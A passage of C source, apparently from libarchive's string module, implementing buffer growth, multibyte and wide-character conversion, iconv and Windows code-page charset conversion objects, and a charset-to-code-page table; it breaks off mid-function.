static size_t unicode_to_utf16be(char *, size_t, uint32_t); static size_t unicode_to_utf16le(char *, size_t, uint32_t); static int strncat_from_utf8_libarchive2(struct archive_string *, const void *, size_t, struct archive_string_conv *); static int strncat_from_utf8_to_utf8(struct archive_string *, const void *, size_t, struct archive_string_conv *); static int archive_string_normalize_C(struct archive_string *, const void *, size_t, struct archive_string_conv *); static int archive_string_normalize_D(struct archive_string *, const void *, size_t, struct archive_string_conv *); static int archive_string_append_unicode(struct archive_string *, const void *, size_t, struct archive_string_conv *); static struct archive_string * archive_string_append(struct archive_string *as, const char *p, size_t s) { if (archive_string_ensure(as, as->length + s + 1) == NULL) return (NULL); if (s) memmove(as->s + as->length, p, s); as->length += s; as->s[as->length] = 0; return (as); } static struct archive_wstring * archive_wstring_append(struct archive_wstring *as, const wchar_t *p, size_t s) { if (archive_wstring_ensure(as, as->length + s + 1) == NULL) return (NULL); if (s) wmemmove(as->s + as->length, p, s); as->length += s; as->s[as->length] = 0; return (as); } struct archive_string * archive_array_append(struct archive_string *as, const char *p, size_t s) { return archive_string_append(as, p, s); } void archive_string_concat(struct archive_string *dest, struct archive_string *src) { if (archive_string_append(dest, src->s, src->length) == NULL) __archive_errx(1, "Out of memory"); } void archive_wstring_concat(struct archive_wstring *dest, struct archive_wstring *src) { if (archive_wstring_append(dest, src->s, src->length) == NULL) __archive_errx(1, "Out of memory"); } void archive_string_free(struct archive_string *as) { as->length = 0; as->buffer_length = 0; free(as->s); as->s = NULL; } void archive_wstring_free(struct archive_wstring *as) { as->length = 0; as->buffer_length = 0; free(as->s); as->s = NULL; } struct archive_wstring * archive_wstring_ensure(struct archive_wstring *as, size_t s) { return (struct archive_wstring *) archive_string_ensure((struct archive_string *)as, s * sizeof(wchar_t)); } /* Returns NULL on any allocation failure. */ struct archive_string * archive_string_ensure(struct archive_string *as, size_t s) { char *p; size_t new_length; /* If buffer is already big enough, don't reallocate. */ if (as->s && (s <= as->buffer_length)) return (as); /* * Growing the buffer at least exponentially ensures that * append operations are always linear in the number of * characters appended. Using a smaller growth rate for * larger buffers reduces memory waste somewhat at the cost of * a larger constant factor. */ if (as->buffer_length < 32) /* Start with a minimum 32-character buffer. */ new_length = 32; else if (as->buffer_length < 8192) /* Buffers under 8k are doubled for speed. */ new_length = as->buffer_length + as->buffer_length; else { /* Buffers 8k and over grow by at least 25% each time. */ new_length = as->buffer_length + as->buffer_length / 4; /* Be safe: If size wraps, fail. */ if (new_length < as->buffer_length) { /* On failure, wipe the string and return NULL. */ archive_string_free(as); errno = ENOMEM;/* Make sure errno has ENOMEM. */ return (NULL); } } /* * The computation above is a lower limit to how much we'll * grow the buffer. In any case, we have to grow it enough to * hold the request. */ if (new_length < s) new_length = s; /* Now we can reallocate the buffer. */ p = (char *)realloc(as->s, new_length); if (p == NULL) { /* On failure, wipe the string and return NULL. */ archive_string_free(as); errno = ENOMEM;/* Make sure errno has ENOMEM. */ return (NULL); } as->s = p; as->buffer_length = new_length; return (as); } /* * TODO: See if there's a way to avoid scanning * the source string twice. Then test to see * if it actually helps (remember that we're almost * always called with pretty short arguments, so * such an optimization might not help). */ struct archive_string * archive_strncat(struct archive_string *as, const void *_p, size_t n) { size_t s; const char *p, *pp; p = (const char *)_p; /* Like strlen(p), except won't examine positions beyond p[n]. */ s = 0; pp = p; while (s < n && *pp) { pp++; s++; } if ((as = archive_string_append(as, p, s)) == NULL) __archive_errx(1, "Out of memory"); return (as); } struct archive_wstring * archive_wstrncat(struct archive_wstring *as, const wchar_t *p, size_t n) { size_t s; const wchar_t *pp; /* Like strlen(p), except won't examine positions beyond p[n]. */ s = 0; pp = p; while (s < n && *pp) { pp++; s++; } if ((as = archive_wstring_append(as, p, s)) == NULL) __archive_errx(1, "Out of memory"); return (as); } struct archive_string * archive_strcat(struct archive_string *as, const void *p) { /* strcat is just strncat without an effective limit. * Assert that we'll never get called with a source * string over 16MB. * TODO: Review all uses of strcat in the source * and try to replace them with strncat(). */ return archive_strncat(as, p, 0x1000000); } struct archive_wstring * archive_wstrcat(struct archive_wstring *as, const wchar_t *p) { /* Ditto. */ return archive_wstrncat(as, p, 0x1000000); } struct archive_string * archive_strappend_char(struct archive_string *as, char c) { if ((as = archive_string_append(as, &c, 1)) == NULL) __archive_errx(1, "Out of memory"); return (as); } struct archive_wstring * archive_wstrappend_wchar(struct archive_wstring *as, wchar_t c) { if ((as = archive_wstring_append(as, &c, 1)) == NULL) __archive_errx(1, "Out of memory"); return (as); } /* * Get the "current character set" name to use with iconv. * On FreeBSD, the empty character set name "" chooses * the correct character encoding for the current locale, * so this isn't necessary. * But iconv on Mac OS 10.6 doesn't seem to handle this correctly; * on that system, we have to explicitly call nl_langinfo() * to get the right name. Not sure about other platforms. * * NOTE: GNU libiconv does not recognize the character-set name * which some platform nl_langinfo(CODESET) returns, so we should * use locale_charset() instead of nl_langinfo(CODESET) for GNU libiconv. */ static const char * default_iconv_charset(const char *charset) { if (charset != NULL && charset[0] != '\0') return charset; #if HAVE_LOCALE_CHARSET && !defined(__APPLE__) /* locale_charset() is broken on Mac OS */ return locale_charset(); #elif HAVE_NL_LANGINFO return nl_langinfo(CODESET); #else return ""; #endif } #if defined(_WIN32) && !defined(__CYGWIN__) /* * Convert MBS to WCS. * Note: returns -1 if conversion fails. */ int archive_wstring_append_from_mbs(struct archive_wstring *dest, const char *p, size_t len) { return archive_wstring_append_from_mbs_in_codepage(dest, p, len, NULL); } static int archive_wstring_append_from_mbs_in_codepage(struct archive_wstring *dest, const char *s, size_t length, struct archive_string_conv *sc) { int count, ret = 0; UINT from_cp; if (sc != NULL) from_cp = sc->from_cp; else from_cp = get_current_codepage(); if (from_cp == CP_C_LOCALE) { /* * "C" locale special processing. */ wchar_t *ws; const unsigned char *mp; if (NULL == archive_wstring_ensure(dest, dest->length + length + 1)) return (-1); ws = dest->s + dest->length; mp = (const unsigned char *)s; count = 0; while (count < (int)length && *mp) { *ws++ = (wchar_t)*mp++; count++; } } else if (sc != NULL && (sc->flag & (SCONV_NORMALIZATION_C | SCONV_NORMALIZATION_D))) { /* * Normalize UTF-8 and UTF-16BE and convert it directly * to UTF-16 as wchar_t. */ struct archive_string u16; int saved_flag = sc->flag;/* save current flag. */ if (is_big_endian()) sc->flag |= SCONV_TO_UTF16BE; else sc->flag |= SCONV_TO_UTF16LE; if (sc->flag & SCONV_FROM_UTF16) { /* * UTF-16BE/LE NFD ===> UTF-16 NFC * UTF-16BE/LE NFC ===> UTF-16 NFD */ count = (int)utf16nbytes(s, length); } else { /* * UTF-8 NFD ===> UTF-16 NFC * UTF-8 NFC ===> UTF-16 NFD */ count = (int)mbsnbytes(s, length); } u16.s = (char *)dest->s; u16.length = dest->length << 1;; u16.buffer_length = dest->buffer_length; if (sc->flag & SCONV_NORMALIZATION_C) ret = archive_string_normalize_C(&u16, s, count, sc); else ret = archive_string_normalize_D(&u16, s, count, sc); dest->s = (wchar_t *)u16.s; dest->length = u16.length >> 1; dest->buffer_length = u16.buffer_length; sc->flag = saved_flag;/* restore the saved flag. */ return (ret); } else if (sc != NULL && (sc->flag & SCONV_FROM_UTF16)) { count = (int)utf16nbytes(s, length); count >>= 1; /* to be WCS length */ /* Allocate memory for WCS. */ if (NULL == archive_wstring_ensure(dest, dest->length + count + 1)) return (-1); wmemcpy(dest->s + dest->length, (const wchar_t *)s, count); if ((sc->flag & SCONV_FROM_UTF16BE) && !is_big_endian()) { uint16_t *u16 = (uint16_t *)(dest->s + dest->length); int b; for (b = 0; b < count; b++) { uint16_t val = archive_le16dec(u16+b); archive_be16enc(u16+b, val); } } else if ((sc->flag & SCONV_FROM_UTF16LE) && is_big_endian()) { uint16_t *u16 = (uint16_t *)(dest->s + dest->length); int b; for (b = 0; b < count; b++) { uint16_t val = archive_be16dec(u16+b); archive_le16enc(u16+b, val); } } } else { DWORD mbflag; size_t buffsize; if (sc == NULL) mbflag = 0; else if (sc->flag & SCONV_FROM_CHARSET) { /* Do not trust the length which comes from * an archive file. */ length = mbsnbytes(s, length); mbflag = 0; } else mbflag = MB_PRECOMPOSED; buffsize = dest->length + length + 1; do { /* Allocate memory for WCS. */ if (NULL == archive_wstring_ensure(dest, buffsize)) return (-1); /* Convert MBS to WCS. */ count = MultiByteToWideChar(from_cp, mbflag, s, (int)length, dest->s + dest->length, (int)(dest->buffer_length >> 1) -1); if (count == 0 && GetLastError() == ERROR_INSUFFICIENT_BUFFER) { /* Expand the WCS buffer. */ buffsize = dest->buffer_length << 1; continue; } if (count == 0 && length != 0) ret = -1; break; } while (1); } dest->length += count; dest->s[dest->length] = L'\0'; return (ret); } #else /* * Convert MBS to WCS. * Note: returns -1 if conversion fails. */ int archive_wstring_append_from_mbs(struct archive_wstring *dest, const char *p, size_t len) { size_t r; int ret_val = 0; /* * No single byte will be more than one wide character, * so this length estimate will always be big enough. */ // size_t wcs_length = len; size_t mbs_length = len; const char *mbs = p; wchar_t *wcs; #if HAVE_MBRTOWC mbstate_t shift_state; memset(&shift_state, 0, sizeof(shift_state)); #endif /* * As we decided to have wcs_length == mbs_length == len * we can use len here instead of wcs_length */ if (NULL == archive_wstring_ensure(dest, dest->length + len + 1)) return (-1); wcs = dest->s + dest->length; /* * We cannot use mbsrtowcs/mbstowcs here because those may convert * extra MBS when strlen(p) > len and one wide character consists of * multi bytes. */ while (*mbs && mbs_length > 0) { /* * The buffer we allocated is always big enough. * Keep this code path in a comment if we decide to choose * smaller wcs_length in the future */ /* if (wcs_length == 0) { dest->length = wcs - dest->s; dest->s[dest->length] = L'\0'; wcs_length = mbs_length; if (NULL == archive_wstring_ensure(dest, dest->length + wcs_length + 1)) return (-1); wcs = dest->s + dest->length; } */ #if HAVE_MBRTOWC r = mbrtowc(wcs, mbs, mbs_length, &shift_state); #else r = mbtowc(wcs, mbs, mbs_length); #endif if (r == (size_t)-1 || r == (size_t)-2) { ret_val = -1; break; } if (r == 0 || r > mbs_length) break; wcs++; // wcs_length--; mbs += r; mbs_length -= r; } dest->length = wcs - dest->s; dest->s[dest->length] = L'\0'; return (ret_val); } #endif #if defined(_WIN32) && !defined(__CYGWIN__) /* * WCS ==> MBS. * Note: returns -1 if conversion fails. * * Win32 builds use WideCharToMultiByte from the Windows API. * (Maybe Cygwin should too? WideCharToMultiByte will know a * lot more about local character encodings than the wcrtomb() * wrapper is going to know.) */ int archive_string_append_from_wcs(struct archive_string *as, const wchar_t *w, size_t len) { return archive_string_append_from_wcs_in_codepage(as, w, len, NULL); } static int archive_string_append_from_wcs_in_codepage(struct archive_string *as, const wchar_t *ws, size_t len, struct archive_string_conv *sc) { BOOL defchar_used, *dp; int count, ret = 0; UINT to_cp; int wslen = (int)len; if (sc != NULL) to_cp = sc->to_cp; else to_cp = get_current_codepage(); if (to_cp == CP_C_LOCALE) { /* * "C" locale special processing. */ const wchar_t *wp = ws; char *p; if (NULL == archive_string_ensure(as, as->length + wslen +1)) return (-1); p = as->s + as->length; count = 0; defchar_used = 0; while (count < wslen && *wp) { if (*wp > 255) { *p++ = '?'; wp++; defchar_used = 1; } else *p++ = (char)*wp++; count++; } } else if (sc != NULL && (sc->flag & SCONV_TO_UTF16)) { uint16_t *u16; if (NULL == archive_string_ensure(as, as->length + len * 2 + 2)) return (-1); u16 = (uint16_t *)(as->s + as->length); count = 0; defchar_used = 0; if (sc->flag & SCONV_TO_UTF16BE) { while (count < (int)len && *ws) { archive_be16enc(u16+count, *ws); ws++; count++; } } else { while (count < (int)len && *ws) { archive_le16enc(u16+count, *ws); ws++; count++; } } count <<= 1; /* to be byte size */ } else { /* Make sure the MBS buffer has plenty to set. */ if (NULL == archive_string_ensure(as, as->length + len * 2 + 1)) return (-1); do { defchar_used = 0; if (to_cp == CP_UTF8 || sc == NULL) dp = NULL; else dp = &defchar_used; count = WideCharToMultiByte(to_cp, 0, ws, wslen, as->s + as->length, (int)as->buffer_length-1, NULL, dp); if (count == 0 && GetLastError() == ERROR_INSUFFICIENT_BUFFER) { /* Expand the MBS buffer and retry. */ if (NULL == archive_string_ensure(as, as->buffer_length + len)) return (-1); continue; } if (count == 0) ret = -1; break; } while (1); } as->length += count; as->s[as->length] = '\0'; return (defchar_used?-1:ret); } #elif defined(HAVE_WCTOMB) || defined(HAVE_WCRTOMB) /* * Translates a wide character string into current locale character set * and appends to the archive_string. Note: returns -1 if conversion * fails. */ int archive_string_append_from_wcs(struct archive_string *as, const wchar_t *w, size_t len) { /* We cannot use the standard wcstombs() here because it * cannot tell us how big the output buffer should be. So * I've built a loop around wcrtomb() or wctomb() that * converts a character at a time and resizes the string as * needed. We prefer wcrtomb() when it's available because * it's thread-safe. */ int n, ret_val = 0; char *p; char *end; #if HAVE_WCRTOMB mbstate_t shift_state; memset(&shift_state, 0, sizeof(shift_state)); #else /* Clear the shift state before starting. */ wctomb(NULL, L'\0'); #endif /* * Allocate buffer for MBS. * We need this allocation here since it is possible that * as->s is still NULL. */ if (archive_string_ensure(as, as->length + len + 1) == NULL) return (-1); p = as->s + as->length; end = as->s + as->buffer_length - MB_CUR_MAX -1; while (*w != L'\0' && len > 0) { if (p >= end) { as->length = p - as->s; as->s[as->length] = '\0'; /* Re-allocate buffer for MBS. */ if (archive_string_ensure(as, as->length + max(len * 2, (size_t)MB_CUR_MAX) + 1) == NULL) return (-1); p = as->s + as->length; end = as->s + as->buffer_length - MB_CUR_MAX -1; } #if HAVE_WCRTOMB n = wcrtomb(p, *w++, &shift_state); #else n = wctomb(p, *w++); #endif if (n == -1) { if (errno == EILSEQ) { /* Skip an illegal wide char. */ *p++ = '?'; ret_val = -1; } else { ret_val = -1; break; } } else p += n; len--; } as->length = p - as->s; as->s[as->length] = '\0'; return (ret_val); } #else /* HAVE_WCTOMB || HAVE_WCRTOMB */ /* * TODO: Test if __STDC_ISO_10646__ is defined. * Non-Windows uses ISO C wcrtomb() or wctomb() to perform the conversion * one character at a time. If a non-Windows platform doesn't have * either of these, fall back to the built-in UTF8 conversion. */ int archive_string_append_from_wcs(struct archive_string *as, const wchar_t *w, size_t len) { (void)as;/* UNUSED */ (void)w;/* UNUSED */ (void)len;/* UNUSED */ errno = ENOSYS; return (-1); } #endif /* HAVE_WCTOMB || HAVE_WCRTOMB */ /* * Find a string conversion object by a pair of 'from' charset name * and 'to' charset name from an archive object. * Return NULL if not found. */ static struct archive_string_conv * find_sconv_object(struct archive *a, const char *fc, const char *tc) { struct archive_string_conv *sc; if (a == NULL) return (NULL); for (sc = a->sconv; sc != NULL; sc = sc->next) { if (strcmp(sc->from_charset, fc) == 0 && strcmp(sc->to_charset, tc) == 0) break; } return (sc); } /* * Register a string object to an archive object. */ static void add_sconv_object(struct archive *a, struct archive_string_conv *sc) { struct archive_string_conv **psc; /* Add a new sconv to sconv list. */ psc = &(a->sconv); while (*psc != NULL) psc = &((*psc)->next); *psc = sc; } static void add_converter(struct archive_string_conv *sc, int (*converter) (struct archive_string *, const void *, size_t, struct archive_string_conv *)) { if (sc == NULL || sc->nconverter >= 2) __archive_errx(1, "Programming error"); sc->converter[sc->nconverter++] = converter; } static void setup_converter(struct archive_string_conv *sc) { /* Reset. */ sc->nconverter = 0; /* * Perform special sequence for the incorrect UTF-8 filenames * made by libarchive2.x. */ if (sc->flag & SCONV_UTF8_LIBARCHIVE_2) { add_converter(sc, strncat_from_utf8_libarchive2); return; } /* * Convert a string to UTF-16BE/LE. */ if (sc->flag & SCONV_TO_UTF16) { /* * If the current locale is UTF-8, we can translate * a UTF-8 string into a UTF-16BE string. */ if (sc->flag & SCONV_FROM_UTF8) { add_converter(sc, archive_string_append_unicode); return; } #if defined(_WIN32) && !defined(__CYGWIN__) if (sc->flag & SCONV_WIN_CP) { if (sc->flag & SCONV_TO_UTF16BE) add_converter(sc, win_strncat_to_utf16be); else add_converter(sc, win_strncat_to_utf16le); return; } #endif #if defined(HAVE_ICONV) if (sc->cd != (iconv_t)-1) { add_converter(sc, iconv_strncat_in_locale); return; } #endif if (sc->flag & SCONV_BEST_EFFORT) { if (sc->flag & SCONV_TO_UTF16BE) add_converter(sc, best_effort_strncat_to_utf16be); else add_converter(sc, best_effort_strncat_to_utf16le); } else /* Make sure we have no converter. */ sc->nconverter = 0; return; } /* * Convert a string from UTF-16BE/LE. */ if (sc->flag & SCONV_FROM_UTF16) { /* * At least we should normalize a UTF-16BE string. */ if (sc->flag & SCONV_NORMALIZATION_D) add_converter(sc,archive_string_normalize_D); else if (sc->flag & SCONV_NORMALIZATION_C) add_converter(sc, archive_string_normalize_C); if (sc->flag & SCONV_TO_UTF8) { /* * If the current locale is UTF-8, we can translate * a UTF-16BE/LE string into a UTF-8 string directly. */ if (!(sc->flag & (SCONV_NORMALIZATION_D |SCONV_NORMALIZATION_C))) add_converter(sc, archive_string_append_unicode); return; } #if defined(_WIN32) && !defined(__CYGWIN__) if (sc->flag & SCONV_WIN_CP) { if (sc->flag & SCONV_FROM_UTF16BE) add_converter(sc, win_strncat_from_utf16be); else add_converter(sc, win_strncat_from_utf16le); return; } #endif #if defined(HAVE_ICONV) if (sc->cd != (iconv_t)-1) { add_converter(sc, iconv_strncat_in_locale); return; } #endif if ((sc->flag & (SCONV_BEST_EFFORT | SCONV_FROM_UTF16BE)) == (SCONV_BEST_EFFORT | SCONV_FROM_UTF16BE)) add_converter(sc, best_effort_strncat_from_utf16be); else if ((sc->flag & (SCONV_BEST_EFFORT | SCONV_FROM_UTF16LE)) == (SCONV_BEST_EFFORT | SCONV_FROM_UTF16LE)) add_converter(sc, best_effort_strncat_from_utf16le); else /* Make sure we have no converter. */ sc->nconverter = 0; return; } if (sc->flag & SCONV_FROM_UTF8) { /* * At least we should normalize a UTF-8 string. */ if (sc->flag & SCONV_NORMALIZATION_D) add_converter(sc,archive_string_normalize_D); else if (sc->flag & SCONV_NORMALIZATION_C) add_converter(sc, archive_string_normalize_C); /* * Copy UTF-8 string with a check of CESU-8. * Apparently, iconv does not check surrogate pairs in UTF-8 * when both from-charset and to-charset are UTF-8, and then * we use our UTF-8 copy code. */ if (sc->flag & SCONV_TO_UTF8) { /* * If the current locale is UTF-8, we can translate * a UTF-16BE string into a UTF-8 string directly. */ if (!(sc->flag & (SCONV_NORMALIZATION_D |SCONV_NORMALIZATION_C))) add_converter(sc, strncat_from_utf8_to_utf8); return; } } #if defined(_WIN32) && !defined(__CYGWIN__) /* * On Windows we can use Windows API for a string conversion. */ if (sc->flag & SCONV_WIN_CP) { add_converter(sc, strncat_in_codepage); return; } #endif #if HAVE_ICONV if (sc->cd != (iconv_t)-1) { add_converter(sc, iconv_strncat_in_locale); /* * iconv generally does not support UTF-8-MAC and so * we have to the output of iconv from NFC to NFD if * need. */ if ((sc->flag & SCONV_FROM_CHARSET) && (sc->flag & SCONV_TO_UTF8)) { if (sc->flag & SCONV_NORMALIZATION_D) add_converter(sc, archive_string_normalize_D); } return; } #endif /* * Try conversion in the best effort or no conversion. */ if ((sc->flag & SCONV_BEST_EFFORT) || sc->same) add_converter(sc, best_effort_strncat_in_locale); else /* Make sure we have no converter. */ sc->nconverter = 0; } /* * Return canonicalized charset-name but this supports just UTF-8, UTF-16BE * and CP932 which are referenced in create_sconv_object(). */ static const char * canonical_charset_name(const char *charset) { char cs[16]; char *p; const char *s; if (charset == NULL || charset[0] == '\0' || strlen(charset) > 15) return (charset); /* Copy name to uppercase. */ p = cs; s = charset; while (*s) { char c = *s++; if (c >= 'a' && c <= 'z') c -= 'a' - 'A'; *p++ = c; } *p++ = '\0'; if (strcmp(cs, "UTF-8") == 0 || strcmp(cs, "UTF8") == 0) return ("UTF-8"); if (strcmp(cs, "UTF-16BE") == 0 || strcmp(cs, "UTF16BE") == 0) return ("UTF-16BE"); if (strcmp(cs, "UTF-16LE") == 0 || strcmp(cs, "UTF16LE") == 0) return ("UTF-16LE"); if (strcmp(cs, "CP932") == 0) return ("CP932"); return (charset); } /* * Create a string conversion object. */ static struct archive_string_conv * create_sconv_object(const char *fc, const char *tc, unsigned current_codepage, int flag) { struct archive_string_conv *sc; sc = calloc(1, sizeof(*sc)); if (sc == NULL) return (NULL); sc->next = NULL; sc->from_charset = strdup(fc); if (sc->from_charset == NULL) { free(sc); return (NULL); } sc->to_charset = strdup(tc); if (sc->to_charset == NULL) { free(sc->from_charset); free(sc); return (NULL); } archive_string_init(&sc->utftmp); if (flag & SCONV_TO_CHARSET) { /* * Convert characters from the current locale charset to * a specified charset. */ sc->from_cp = current_codepage; sc->to_cp = make_codepage_from_charset(tc); #if defined(_WIN32) && !defined(__CYGWIN__) if (IsValidCodePage(sc->to_cp)) flag |= SCONV_WIN_CP; #endif } else if (flag & SCONV_FROM_CHARSET) { /* * Convert characters from a specified charset to * the current locale charset. */ sc->to_cp = current_codepage; sc->from_cp = make_codepage_from_charset(fc); #if defined(_WIN32) && !defined(__CYGWIN__) if (IsValidCodePage(sc->from_cp)) flag |= SCONV_WIN_CP; #endif } /* * Check if "from charset" and "to charset" are the same. */ if (strcmp(fc, tc) == 0 || (sc->from_cp != (unsigned)-1 && sc->from_cp == sc->to_cp)) sc->same = 1; else sc->same = 0; /* * Mark if "from charset" or "to charset" are UTF-8 or UTF-16BE/LE. */ if (strcmp(tc, "UTF-8") == 0) flag |= SCONV_TO_UTF8; else if (strcmp(tc, "UTF-16BE") == 0) flag |= SCONV_TO_UTF16BE; else if (strcmp(tc, "UTF-16LE") == 0) flag |= SCONV_TO_UTF16LE; if (strcmp(fc, "UTF-8") == 0) flag |= SCONV_FROM_UTF8; else if (strcmp(fc, "UTF-16BE") == 0) flag |= SCONV_FROM_UTF16BE; else if (strcmp(fc, "UTF-16LE") == 0) flag |= SCONV_FROM_UTF16LE; #if defined(_WIN32) && !defined(__CYGWIN__) if (sc->to_cp == CP_UTF8) flag |= SCONV_TO_UTF8; else if (sc->to_cp == CP_UTF16BE) flag |= SCONV_TO_UTF16BE | SCONV_WIN_CP; else if (sc->to_cp == CP_UTF16LE) flag |= SCONV_TO_UTF16LE | SCONV_WIN_CP; if (sc->from_cp == CP_UTF8) flag |= SCONV_FROM_UTF8; else if (sc->from_cp == CP_UTF16BE) flag |= SCONV_FROM_UTF16BE | SCONV_WIN_CP; else if (sc->from_cp == CP_UTF16LE) flag |= SCONV_FROM_UTF16LE | SCONV_WIN_CP; #endif /* * Set a flag for Unicode NFD. Usually iconv cannot correctly * handle it. So we have to translate NFD characters to NFC ones * ourselves before iconv handles. Another reason is to prevent * that the same sight of two filenames, one is NFC and other * is NFD, would be in its directory. * On Mac OS X, although its filesystem layer automatically * convert filenames to NFD, it would be useful for filename * comparing to find out the same filenames that we normalize * that to be NFD ourselves. */ if ((flag & SCONV_FROM_CHARSET) && (flag & (SCONV_FROM_UTF16 | SCONV_FROM_UTF8))) { #if defined(__APPLE__) if (flag & SCONV_TO_UTF8) flag |= SCONV_NORMALIZATION_D; else #endif flag |= SCONV_NORMALIZATION_C; } #if defined(__APPLE__) /* * In case writing an archive file, make sure that a filename * going to be passed to iconv is a Unicode NFC string since * a filename in HFS Plus filesystem is a Unicode NFD one and * iconv cannot handle it with "UTF-8" charset. It is simpler * than a use of "UTF-8-MAC" charset. */ if ((flag & SCONV_TO_CHARSET) && (flag & (SCONV_FROM_UTF16 | SCONV_FROM_UTF8)) && !(flag & (SCONV_TO_UTF16 | SCONV_TO_UTF8))) flag |= SCONV_NORMALIZATION_C; /* * In case reading an archive file. make sure that a filename * will be passed to users is a Unicode NFD string in order to * correctly compare the filename with other one which comes * from HFS Plus filesystem. */ if ((flag & SCONV_FROM_CHARSET) && !(flag & (SCONV_FROM_UTF16 | SCONV_FROM_UTF8)) && (flag & SCONV_TO_UTF8)) flag |= SCONV_NORMALIZATION_D; #endif #if defined(HAVE_ICONV) sc->cd_w = (iconv_t)-1; /* * Create an iconv object. */ if (((flag & (SCONV_TO_UTF8 | SCONV_TO_UTF16)) && (flag & (SCONV_FROM_UTF8 | SCONV_FROM_UTF16))) || (flag & SCONV_WIN_CP)) { /* This case we won't use iconv. */ sc->cd = (iconv_t)-1; } else { sc->cd = iconv_open(tc, fc); if (sc->cd == (iconv_t)-1 && (sc->flag & SCONV_BEST_EFFORT)) { /* * Unfortunately, all of iconv implements do support * "CP932" character-set, so we should use "SJIS" * instead if iconv_open failed. */ if (strcmp(tc, "CP932") == 0) sc->cd = iconv_open("SJIS", fc); else if (strcmp(fc, "CP932") == 0) sc->cd = iconv_open(tc, "SJIS"); } #if defined(_WIN32) && !defined(__CYGWIN__) /* * archive_mstring on Windows directly convert multi-bytes * into archive_wstring in order not to depend on locale * so that you can do a I18N programming. This will be * used only in archive_mstring_copy_mbs_len_l so far. */ if (flag & SCONV_FROM_CHARSET) { sc->cd_w = iconv_open("UTF-8", fc); if (sc->cd_w == (iconv_t)-1 && (sc->flag & SCONV_BEST_EFFORT)) { if (strcmp(fc, "CP932") == 0) sc->cd_w = iconv_open("UTF-8", "SJIS"); } } #endif /* _WIN32 && !__CYGWIN__ */ } #endif /* HAVE_ICONV */ sc->flag = flag; /* * Set up converters. */ setup_converter(sc); return (sc); } /* * Free a string conversion object. */ static void free_sconv_object(struct archive_string_conv *sc) { free(sc->from_charset); free(sc->to_charset); archive_string_free(&sc->utftmp); #if HAVE_ICONV if (sc->cd != (iconv_t)-1) iconv_close(sc->cd); if (sc->cd_w != (iconv_t)-1) iconv_close(sc->cd_w); #endif free(sc); } #if defined(_WIN32) && !defined(__CYGWIN__) static unsigned my_atoi(const char *p) { unsigned cp; cp = 0; while (*p) { if (*p >= '0' && *p <= '9') cp = cp * 10 + (*p - '0'); else return (-1); p++; } return (cp); } /* * Translate Charset name (as used by iconv) into CodePage (as used by Windows) * Return -1 if failed. * * Note: This translation code may be insufficient. */ static struct charset { const char *name; unsigned cp; } charsets[] = { /* MUST BE SORTED! */ {"ASCII", 1252}, {"ASMO-708", 708}, {"BIG5", 950}, {"CHINESE", 936}, {"CP367", 1252}, {"CP819", 1252}, {"CP1025", 21025}, {"DOS-720", 720}, {"DOS-862", 862}, {"EUC-CN", 51936}, {"EUC-JP", 51932}, {"EUC-KR", 949}, {"EUCCN", 51936}, {"EUCJP", 51932}, {"EUCKR", 949}, {"GB18030", 54936}, {"GB2312", 936}, {"HEBREW", 1255}, {"HZ-GB-2312", 52936}, {"IBM273", 20273}, {"IBM277", 20277}, {"IBM278", 20278}, {"IBM280", 20280}, {"IBM284", 20284}, {"IBM285", 20285}, {"IBM290", 20290}, {"IBM297", 20297}, {"IBM367", 1252}, {"IBM420", 20420}, {"IBM423", 20423}, {"IBM424", 20424}, {"IBM819", 1252}, {"IBM871", 20871}, {"IBM880", 20880}, {"IBM905", 20905}, {"IBM924", 20924}, {"ISO-8859-1", 28591}, {"ISO-8859-13", 28603}, {"ISO-8859-15", 28605}, {"ISO-8859-2", 28592}, {"ISO-8859-3", 28593}, {"ISO-8859-4", 28594}, {"ISO-8859-5", 28595}, {"ISO-8859-6", 28596}, {"ISO-8859-7", 28597}, {"ISO-8859-8", 28598}, {"ISO-8859-9", 28599}, {"ISO8859-1", 28591}, {"ISO8859-13", 28603}, {"ISO8859-15", 28605}, {"ISO8859-2", 28592}, {"ISO8859-3", 28593}, {"ISO8859-4", 28594}, {"ISO8859-5", 28595}, {"ISO8859-6", 28596}, {"ISO8859-7", 28597}, {"ISO8859-8", 28598}, {"ISO8859-9", 28599}, {"JOHAB", 1361}, {"KOI8-R", 20866}, {"KOI8-U", 21866}, {"KS_C_5601-1987", 949}, {"LATIN1", 1252}, {"LATIN2", 28592}, {"MACINTOSH", 10000}, {"SHIFT-JIS", 932}, {"SHIFT_JIS", 932}, {"SJIS", 932}, {"US", 1252}, {"US-ASCII", 1252}, {"UTF-16", 1200}, {"UTF-16BE", 1201}, {"UTF-16LE", 1200}, {"UTF-8", CP_UTF8}, {"X-EUROPA", 29001}, {"X-MAC-ARABIC", 10004}, {"X-MAC-CE", 10029}, {"X-MAC-CHINESEIMP", 10008}, {"X-MAC-CHINESETRAD", 10002}, {"X-MAC-CROATIAN", 10082}, {"X-MAC-CYRILLIC", 10007}, {"X-MAC-GREEK", 10006}, {"X-MAC-HEBREW", 10005}, {"X-MAC-ICELANDIC", 10079}, {"X-MAC-JAPANESE", 10001}, {"X-MAC-KOREAN", 10003}, {"X-MAC-ROMANIAN", 10010}, {"X-MAC-THAI", 10021}, {"X-MAC-TURKISH", 10081}, {"X-MAC-UKRAINIAN", 10017}, }; static unsigned make_codepage_from_charset(const char *charset) { char cs[16]; char *p; unsigned cp; int a, b; if (charset == NULL || strlen(charset) > 15) return -1; /* Copy name to uppercase. */ p = cs; while (*charset) { char c = *charset++; if (c >= 'a' && c <= 'z') c -= 'a' - 'A'; *p++ = c; } *p++ = '\0'; cp = -1; /* Look it up in the table first, so that we can easily * override CP367, which we map to 1252 instead of 367. */ a = 0; b = sizeof(charsets)/sizeof(charsets[0]); while (b > a) { int c = (b + a) / 2; int r = strcmp(charsets[c].name, cs); if (r < 0) a = c + 1; else if (r > 0) b = c; else return charsets[c].cp; } /* If it's not in the table, try to parse it. */ switch (*cs) { case 'C': if (cs[1] == 'P' && cs[2] >= '0' && cs[2] <= '9') { cp = my_atoi(cs + 2); } else if (strcmp(cs, "CP_ACP") == 0) cp = get_current_codepage(); else if (strcmp(cs, "CP_OEMCP") == 0) cp = get_current_oemcp(); break; case 'I': if (cs[1] == 'B' && cs[2] == 'M' && cs[3] >= '0' && cs[3] <= '9') { cp = my_atoi(cs + 3); } break; case 'W': if (strncmp(cs, "WINDOWS-", 8) == 0) { cp = my_atoi(cs + 8); if (cp != 874 && (cp < 1250 || cp > 1258)) cp = -1;/* This may invalid code. */ } break; } return (cp); } /* * Return ANSI Code Page of current locale set by setlocale(). */ static unsigned get_current_codepage(void) { char *locale, *p; unsigned 